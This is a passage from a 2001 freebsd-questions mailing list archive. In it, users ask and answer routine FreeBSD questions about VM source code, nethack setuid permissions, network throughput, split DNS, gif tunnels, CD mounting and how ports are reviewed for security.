2001 17:23:27 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I am studying FreeBSD vm source code, currently I am blocked by vm_uiomove() in vm_map.c, could anyone tell me why we need=20 following lines to determine if it the first_object was not replaced: if ((first_object->type =3D=3D OBJT_VNODE) && ((oldobject =3D entry->object.vm_object) =3D=3D first_object)) I see vm_map_clip_start{end} don't replace object within that entry, so ((oldobject =3D entry->object.vm_object) =3D=3D first_object) is = needn't, am I wrong? -- Regards, David Xu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1:30:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id E6FA537B405; Thu, 22 Nov 2001 01:30:08 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAM9Tah79554; Thu, 22 Nov 2001 10:29:42 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <016001c17338$37d65240$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Peter Pentchev" Cc: "FreeBSD Questions" , References: <014201c17336$40653f90$0a00000a@atkielski.com> <20011122112415.B855@straylight.oblivion.bg> Subject: Re: setuid on nethack? Date: Thu, 22 Nov 2001 10:29:36 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG After seeing that the owner and group were games, I set the permissions back to 2511, which I assume is safe. Do I need to take special precautions if I play this game from root? Would 6511 be a better choice in that case? ----- Original Message ----- From: "Peter Pentchev" To: "Anthony Atkielski" Cc: "FreeBSD Questions" ; Sent: Thursday, November 22, 2001 10:24 Subject: Re: setuid on nethack? > On Thu, Nov 22, 2001 at 10:15:37AM +0100, Anthony Atkielski wrote: > > This morning I see an e-mail from the system telling me that setuid is set on > > nethack, the adventure-style game that I installed recently. Why would this > > game require this bit? I reset it with chmod 0544, which seems like plenty to > > me. > > AFAIK, many games on Unix systems are setuid or setgid 'games', so that > any user on the system can read and write the high scores and saved games. > If you only intend to play Nethack from one particular system account, > you should have no problem without the setuid bit, but make sure to > set the appropriate owner/group/permissions on the high scores and > saved games files/dirs. > > G'luck, > Peter > > -- > If this sentence didn't exist, somebody would have invented it. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1:30:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id C769537B417 for ; Thu, 22 Nov 2001 01:30:52 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id DAA80438; Thu, 22 Nov 2001 03:30:48 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Thu, 22 Nov 2001 03:30:48 -0600 (CST) From: Ryan Thompson To: francisv@dagupan.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Maximizing throughput In-Reply-To: <10F29E27A956D511B0940050DA8D86A9340BE6@apmail.dagupan.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG francisv@dagupan.com wrote to freebsd-questions@FreeBSD.ORG: > Hi, > > I have an Intel Pro 100/S NIC on FreeBSD 4.4-STABLE -- > transferring huge (~650MB) files to another computer is only > around 1.78Mbps. The machines are connected via a Cisco 3500XL > switch at full-duplex, 100Mbps. Is there any other way to increase > the throughput or is this the actual bandwidth limit? 1.78Mbps is pretty abysmal for a 100Mbps link. There are a lot of factors which may be causing this. I'm guessing (correctly, I bet) that it is NOT a configuration issue with FreeBSD, unless prior to this, you were messing with network settings that you shouldn't have. :-) So, I don't have an answer for you, but I'll take you through some troubleshooting that will probably get to the root of the problem fairly quickly. For rates that low, packets are almost certainly getting dropped. My first wave of questions goes something like this, 1. What application layer protocol is being used to transfer? 2. Does it run over TCP or UDP? 3. Are you using CAT5 cabling between both hosts and the switch? 4. How loaded are the machines? The switch? 5. How did you calculate your "speed" statistic? Are you sure? 6. Are there any routers between the two hosts? Things to try: Connect the machines directly with crossover cable, or connect them to a hub. Run tcpdump on one of the machines (or another host on the same segment) and look for any weirdness. As for possible causes/remedies, it's hard to say at this point. Like I said, one of your likely symptoms is dropped packets. This could happen at just about any layer. Maybe your cabling is poor grade (or there is too much EMI), causing Ethernet frames to get dropped. Maybe one of the hosts (or the switch) is configured wrong. Maybe your transfer application is broken. Maybe one of your network cards needs to be replaced. Maybe one of your cables is defective. So, as for increasing the bandwidth limit, you'll need to fix whatever is slowing things down. :-) Hope this helps, - Ryan > --- > francis a. vidal [bitstop network services] | http://www.dagupan.com > streaming media + web hosting | http://www.keystone.ph > v(02)330-2871,(02)330-2872; f(02)330-2873 | http://www.kuro.ph > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > -- Ryan Thompson Network Administrator, Accounts SaskNow Technologies - http://www.sasknow.com #106-380 3120 8th St E - Saskatoon, SK - S7H 0W2 Tel: 306-664-3600 Fax: 306-664-1161 Saskatoon Toll-Free: 877-727-5669 (877-SASKNOW) North America To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1:41:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from backup.dagupan.com (www.psysc.org.ph [206.101.69.5]) by hub.freebsd.org (Postfix) with ESMTP id A25A737B5AF for ; Thu, 22 Nov 2001 01:41:03 -0800 (PST) Received: by apmail.dagupan.com with Internet Mail Service (5.5.2653.19) id ; Thu, 22 Nov 2001 17:41:09 +0800 Message-ID: <10F29E27A956D511B0940050DA8D86A9340BE9@apmail.dagupan.com> From: francisv@dagupan.com To: ryan@sasknow.com Cc: freebsd-questions@FreeBSD.ORG Subject: RE: Maximizing throughput Date: Thu, 22 Nov 2001 17:41:08 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thank you, Ryan, for the detailed response. Please see my comments below: -----Original Message----- From: Ryan Thompson [mailto:ryan@sasknow.com] Sent: Thursday, November 22, 2001 5:31 PM To: francisv@dagupan.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Maximizing throughput francisv@dagupan.com wrote to freebsd-questions@FreeBSD.ORG: > Hi, > > I have an Intel Pro 100/S NIC on FreeBSD 4.4-STABLE -- > transferring huge (~650MB) files to another computer is only > around 1.78Mbps. The machines are connected via a Cisco 3500XL > switch at full-duplex, 100Mbps. Is there any other way to increase > the throughput or is this the actual bandwidth limit? 1.78Mbps is pretty abysmal for a 100Mbps link. There are a lot of factors which may be causing this. I'm guessing (correctly, I bet) that it is NOT a configuration issue with FreeBSD, unless prior to this, you were messing with network settings that you shouldn't have. :-) So, I don't have an answer for you, but I'll take you through some troubleshooting that will probably get to the root of the problem fairly quickly. For rates that low, packets are almost certainly getting dropped. My first wave of questions goes something like this, 1. What application layer protocol is being used to transfer? FAV> FTP 2. Does it run over TCP or UDP? FAV> TCP 3. Are you using CAT5 cabling between both hosts and the switch? FAV> Yes, we're using category 5 UTP cable on both hosts; less than 5 feet FAV> per host to the switch 4. How loaded are the machines? The switch? FAV> Between 5-10 percent load 5. How did you calculate your "speed" statistic? Are you sure? FAV> I don't know if the throughput display (after uploading) of the FTP FAV> client is in megabytes or megabits; I'm guessing it's in megabytes, not FAV> megabits. From my MRTG graph, it used a maximum of 15.6 megabits -- FAV> is this the actual throughput limit? 6. Are there any routers between the two hosts? FAV> No, there are no routers in between Things to try: Connect the machines directly with crossover cable, or connect them to a hub. Run tcpdump on one of the machines (or another host on the same segment) and look for any weirdness. As for possible causes/remedies, it's hard to say at this point. Like I said, one of your likely symptoms is dropped packets. This could happen at just about any layer. Maybe your cabling is poor grade (or there is too much EMI), causing Ethernet frames to get dropped. Maybe one of the hosts (or the switch) is configured wrong. Maybe your transfer application is broken. Maybe one of your network cards needs to be replaced. Maybe one of your cables is defective. So, as for increasing the bandwidth limit, you'll need to fix whatever is slowing things down. :-) Hope this helps, - Ryan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1:49:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from straylight.ringlet.net (sentinel.office1.bg [217.75.134.126]) by hub.freebsd.org (Postfix) with SMTP id 615E537B41E for ; Thu, 22 Nov 2001 01:48:57 -0800 (PST) Received: (qmail 29839 invoked by uid 1000); 22 Nov 2001 09:48:13 -0000 Date: Thu, 22 Nov 2001 11:48:13 +0200 From: Peter Pentchev To: Anthony Atkielski Cc: FreeBSD Questions , freebsd-security@FreeBSD.ORG Subject: Re: setuid on nethack? Message-ID: <20011122114813.C855@straylight.oblivion.bg> Mail-Followup-To: Anthony Atkielski , FreeBSD Questions , freebsd-security@FreeBSD.ORG References: <014201c17336$40653f90$0a00000a@atkielski.com> <20011122112415.B855@straylight.oblivion.bg> <016001c17338$37d65240$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <016001c17338$37d65240$0a00000a@atkielski.com>; from anthony@freebie.atkielski.com on Thu, Nov 22, 2001 at 10:29:36AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 10:29:36AM +0100, Anthony Atkielski wrote: > After seeing that the owner and group were games, I set the permissions back to > 2511, which I assume is safe. > > Do I need to take special precautions if I play this game from root? Would 6511 > be a better choice in that case? No, no special precautions should be necessary. AFAIK, nethack does not read any executable code from its data files, so any trojan would have to be placed in the nethack executable itself. I personally have never heard of somebody trojaning the nethack game so far :) G'luck, Peter -- You have, of course, just begun reading the sentence that you have just finished reading. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 1:51:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mip.co.za (puck.mip.co.za [209.212.106.44]) by hub.freebsd.org (Postfix) with ESMTP id 070C837B416 for ; Thu, 22 Nov 2001 01:51:36 -0800 (PST) Received: from patrick (patrick.mip.co.za [10.3.13.181]) by mip.co.za (8.9.3/8.9.3) with SMTP id LAA32843 for ; Thu, 22 Nov 2001 11:51:48 +0200 (SAST) (envelope-from patrick@mip.co.za) From: "Patrick O'Reilly" To: "FreeBSD Question List" Subject: Multiple NameD instances ? Date: Thu, 22 Nov 2001 11:56:50 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi all. The named man page does not make any reference to this possibility (as far as I can see). I am running a FreeBSD gateway/firewall, and I also run named on the same box. Since I have entries for all my internal hosts, as well as for hosts in the DMZ (on public IPs), it is now possible for people on the outside to do like so: ----------------------------------------------- # nslookup patrick.mydomain.com Server: dns.mydomain.com Address: x.x.x.42 Name: patrick.mydomain.com Address: 10.3.13.181 ----------------------------------------------- OK, so I disabled it again because I don't think it's a good idea to publish private IP addresses on Public DNS since they are not routable on the public network. For the moment I run two different DNS servers, one with the public info only (the gateway box) and the other inside my LAN with the public AND private info. But, I need to keep them synchronised by hand. So, the question(s): Is there a way to run two instances of named on one box, with one instance answering any requests that enter on the public interface, and the other instance answering the private interface? Or, can one instance be configured to answer both, but making private information available internally only, but public information available either way? Thanks in advance. Patrick. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2: 4:30 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bessel.tekniikka.turkuamk.fi (bessel.tekniikka.turkuamk.fi [193.166.133.10]) by hub.freebsd.org (Postfix) with ESMTP id 2540937B405 for ; Thu, 22 Nov 2001 02:04:17 -0800 (PST) Received: from localhost (eyurtese@localhost) by bessel.tekniikka.turkuamk.fi (8.9.2/8.9.2) with ESMTP id MAA134026 for ; Thu, 22 Nov 2001 12:04:11 +0200 Date: Thu, 22 Nov 2001 12:04:11 +0200 (WET) From: Evren Yurtesen To: freebsd-questions@freebsd.org Subject: pipe usage problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, I have an ethernet interface which I use pipes with. Also the firewall rules, so I set it so the search doesnt terminate when it match to a pipe, the packet is reinjected to firewall rules from where the match found. But I have a problem I want people behind the ethernet to reach to a specific IP address which is on the other side without any bandwidth limitations. It seems to be impossible. Any suggestions? EVren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2: 4:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mxzilla2.xs4all.nl (mxzilla2.xs4all.nl [194.109.6.50]) by hub.freebsd.org (Postfix) with ESMTP id E21C437B53A for ; Thu, 22 Nov 2001 02:03:57 -0800 (PST) Received: from xs4.xs4all.nl (xs4.xs4all.nl [194.109.6.45]) by mxzilla2.xs4all.nl (8.12.0/8.12.0) with ESMTP id fAMA3unv004594 for ; Thu, 22 Nov 2001 11:03:56 +0100 (CET) Received: (from rene@localhost) by xs4.xs4all.nl (8.9.0/8.9.0) id LAA21283 for questions@freebsd.org; Thu, 22 Nov 2001 11:03:51 +0100 (CET) Date: Thu, 22 Nov 2001 11:03:51 +0100 From: rene@xs4all.nl To: questions@freebsd.org Subject: mxrec's + procmail + pgp + imap = email_happiness. but how? Message-ID: <20011122110351.B27860@xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi. I would like to create a *really* robust email setup. My end-goal is to always have an imap server available to me that holds an encrypted copy of *all* my historic email on *all* accounts, filtered into a mailbox hierarchy. I was thinking along the lines of having several prioritized mailservers with procmail installed. Procmail should call a pgp-library to encrypt any incoming email to my public key. It should then filter the headers and place the encrypted mail in a specified mailbox file. Because I want decryption done at the client-end (private-key-security and anti-sniffing), the only option I can think of is using IMAP with a client-side PGP plugin.. Are there any docs out there that will give me pieces of what I need? I think I have a problem when one mailserver goes down and comes back up later. The email will no longer be synchronized. I'd love to receive a clue on how-not-to-create-that-problem, or on how-to-fix-it ;-) I'd like to stress the requirement that says I want all my email available to me at all times. I can promise to write a HowTo on this subject which might benefit others aswell.. And lastly, I'd like to get as many viewpoints as possible on this matter, so gimme your .02 ;-) Greets, Rene. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2: 7:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id D8B7537B416; Thu, 22 Nov 2001 02:07:35 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAMA7Mh79654; Thu, 22 Nov 2001 11:07:22 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <016601c1733d$7a516b00$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Peter Pentchev" Cc: "FreeBSD Questions" , References: <014201c17336$40653f90$0a00000a@atkielski.com> <20011122112415.B855@straylight.oblivion.bg> <016001c17338$37d65240$0a00000a@atkielski.com> <20011122114813.C855@straylight.oblivion.bg> Subject: Re: setuid on nethack? Date: Thu, 22 Nov 2001 11:07:16 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG What about in the more general case of games? Would it be a good idea to set game files to games:games and 6511? And what about other types of executables? When I add ports and stuff to my system, sometimes they are picked up from some bizarre FTP sites, and in cases where the executables do not have to be trusted, some guidelines on how better to secure them would be welcome. I know that often they are being rebuilt from source before installation, but it isn't really practical to read through the source for every port just to look for suspicious code. Are ports examined by anyone anywhere for security problems before being included in the FreeBSD list of ports? ----- Original Message ----- From: "Peter Pentchev" To: "Anthony Atkielski" Cc: "FreeBSD Questions" ; Sent: Thursday, November 22, 2001 10:48 Subject: Re: setuid on nethack? > On Thu, Nov 22, 2001 at 10:29:36AM +0100, Anthony Atkielski wrote: > > After seeing that the owner and group were games, I set the permissions back to > > 2511, which I assume is safe. > > > > Do I need to take special precautions if I play this game from root? Would 6511 > > be a better choice in that case? > > No, no special precautions should be necessary. AFAIK, nethack does > not read any executable code from its data files, so any trojan would > have to be placed in the nethack executable itself. I personally have > never heard of somebody trojaning the nethack game so far :) > > G'luck, > Peter > > -- > You have, of course, just begun reading the sentence that you have just finished reading. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2:15:37 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axl.seasidesoftware.co.za (axl.seasidesoftware.co.za [196.31.7.201]) by hub.freebsd.org (Postfix) with ESMTP id 0676637B419 for ; Thu, 22 Nov 2001 02:15:36 -0800 (PST) Received: from sheldonh (helo=axl.seasidesoftware.co.za) by axl.seasidesoftware.co.za with local-esmtp (Exim 3.33 #1) id 166que-0005Gr-00 for freebsd-questions@FreeBSD.org; Thu, 22 Nov 2001 12:16:56 +0200 From: Sheldon Hearn To: freebsd-questions@FreeBSD.org Subject: Recommendations on CD writer for laptops? Date: Thu, 22 Nov 2001 12:16:56 +0200 Message-ID: <20264.1006424216@axl.seasidesoftware.co.za> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi folks, Anyone have any recommendations on CD writers for laptops? At this point, I'm thinking either something with a PCMCIA or USB interface, but I'm not sure whether SCSI-over-USB is available, nor wha's best supported by FreeBSD. Thanks, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2:22: 1 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id 0248A37B417 for ; Thu, 22 Nov 2001 02:21:58 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 166pum-0000HK-00; Thu, 22 Nov 2001 17:13:00 +0800 Date: Thu, 22 Nov 2001 17:12:58 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: Chip Cc: Dennis Logan , freebsd-questions@freebsd.org Subject: Re: home pc use In-Reply-To: <0111191831240Q.60958@chip.wiegand.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Let's all drink to that! On Mon, 19 Nov 2001, Chip wrote: > On Monday 19 November 2001 17:26, Dennis Logan wrote: > > Hi, > > Can i use this operating system instead of win98 on my pc? > > dennis > > Absolutely! I made the change a couple years ago. It's been a great > learning experience. That's the key - you have to have the attitude > that you're going into this to learn something new, not just point and > click your way around and never really know whats going on. > > Visit http://www.freebsd.org and others and learn as much as possible > before diving in, then you'll be able to make the right decistion, whether > or not FBSD is for you. > > -- > Chip W. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2:24:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ei.bzerk.org (ei.xs4all.nl [213.84.67.5]) by hub.freebsd.org (Postfix) with ESMTP id EE56537B416 for ; Thu, 22 Nov 2001 02:24:02 -0800 (PST) Received: (from ruben@localhost) by ei.bzerk.org (8.11.6/8.11.3) id fAMAO1R20486 for freebsd-questions@freebsd.org; Thu, 22 Nov 2001 11:24:01 +0100 (CET) (envelope-from ruben) Date: Thu, 22 Nov 2001 11:24:01 +0100 From: Ruben de Groot To: freebsd-questions@freebsd.org Subject: gifconfig: interface gif0 does not exist Message-ID: <20011122112401.A20438@ei.bzerk.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I'm trying to set up a VPN between two routers on a private network. Both routers are FreeBSD 4.4-stable and have "pseudo-device gif" in their kernel-config. When I issue the command: router1# gifconfig gif0 inet 192.168.179.40 192.168.179.120 I get the errormessage: gifconfig: interface gif0 does not exist I read the manpages gif(4), gifconfig(8) and LINT, but didn't find any clues. Am I forgetting something? For example, is "options INET6" mandatory? I'm not using IPv6, so I commented that out of the kernel config file. Regards, Ruben de Groot To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2:26:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id 7025537B416 for ; Thu, 22 Nov 2001 02:26:10 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 166rHt-0005nb-00; Thu, 22 Nov 2001 18:40:57 +0800 Date: Thu, 22 Nov 2001 18:40:56 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: GABRIEL BASTIDAS Cc: questions@freebsd.org Subject: Re: cdrom In-Reply-To: <20011120162936.61653.qmail@web13104.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG type "mount_9660(?) /dev/acd0c /mountpoint" On Tue, 20 Nov 2001, GABRIEL BASTIDAS wrote: > i have mi atapi cdrom as slave in the primary > interface. > how to mount it? > there is a command called mount9660, i remember, > > how to use it? > > > > __________________________________________________ > Do You Yahoo!? > Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. > http://geocities.yahoo.com/ps/info1 > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2:34:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web13301.mail.yahoo.com (web13301.mail.yahoo.com [216.136.175.37]) by hub.freebsd.org (Postfix) with SMTP id 1B6B137B417 for ; Thu, 22 Nov 2001 02:34:23 -0800 (PST) Message-ID: <20011122103422.48508.qmail@web13301.mail.yahoo.com> Received: from [193.174.9.99] by web13301.mail.yahoo.com via HTTP; Thu, 22 Nov 2001 11:34:22 CET Date: Thu, 22 Nov 2001 11:34:22 +0100 (CET) From: =?iso-8859-1?q?m=20p?= Subject: Re: BSD for my IBOOK To: hamellr@heorot.1nova.com, bphlipot@home.com Cc: freebsd-questions@FreeBSD.org MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Rick Hamell wrote: > > > Hello, Im trying to locate "BSD" for my Ibook apple notebook. I'm > > running Macs OS 10.1 and want to install the BSD on my machine. My > > hopes then are to run Sun's Star Office 5.2 on my apple laptop. Can > > you send me a link or information on where and how to accomplish this > > task? Thanks a million. > > Well Brad.. I have good new and bad news... The Good news... if > you're running Mac OS 10.1 (OSX) You're already running BSD! The bad > news... Star Office dosen't run on Mac OS X (yet.) If you want though... I > believe Netbsd runs on Imacs. :) > > Rick Hi Brad, the next idea is to use Darwin. Darwin is the Mach kernel plus some *BSD framework (derived from FreeBSD 3.4) with an NetBSD userland. And it is open source. Take a look at www.darwin.org At the moment Darwin is available for PowerPC ala Apple and x86. Darwin is the core of Mac OS X without all the nice graphic stuff. But you can run X windows on top of it. Have fun Marc __________________________________________________________________ Gesendet von Yahoo! Mail - http://mail.yahoo.de Ihre E-Mail noch individueller? - http://domains.yahoo.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 2:35:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from straylight.ringlet.net (sentinel.office1.bg [217.75.134.126]) by hub.freebsd.org (Postfix) with SMTP id 6738637B405 for ; Thu, 22 Nov 2001 02:35:47 -0800 (PST) Received: (qmail 790 invoked by uid 1000); 22 Nov 2001 10:35:10 -0000 Date: Thu, 22 Nov 2001 12:35:10 +0200 From: Peter Pentchev To: Anthony Atkielski Cc: FreeBSD Questions , freebsd-security@FreeBSD.ORG Subject: Re: setuid on nethack? Message-ID: <20011122123510.A611@straylight.oblivion.bg> Mail-Followup-To: Anthony Atkielski , FreeBSD Questions , freebsd-security@FreeBSD.ORG References: <014201c17336$40653f90$0a00000a@atkielski.com> <20011122112415.B855@straylight.oblivion.bg> <016001c17338$37d65240$0a00000a@atkielski.com> <20011122114813.C855@straylight.oblivion.bg> <016601c1733d$7a516b00$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <016601c1733d$7a516b00$0a00000a@atkielski.com>; from anthony@freebie.atkielski.com on Thu, Nov 22, 2001 at 11:07:16AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 11:07:16AM +0100, Anthony Atkielski wrote: > What about in the more general case of games? Would it be a good idea to set > game files to games:games and 6511? And what about other types of executables? > > When I add ports and stuff to my system, sometimes they are picked up from some > bizarre FTP sites, and in cases where the executables do not have to be trusted, > some guidelines on how better to secure them would be welcome. I know that > often they are being rebuilt from source before installation, but it isn't > really practical to read through the source for every port just to look for > suspicious code. > > Are ports examined by anyone anywhere for security problems before being > included in the FreeBSD list of ports? Yes, they are being actively examined by the maintainer of the port in question. It is the port maintainer's job to look through the changes from version to version and to decide what and where is good and what is not. Cases have been known when a maintainer has decided not to update the port to a new version, or even to update, but disable or patch a new "feature" away. In general, yes, you can 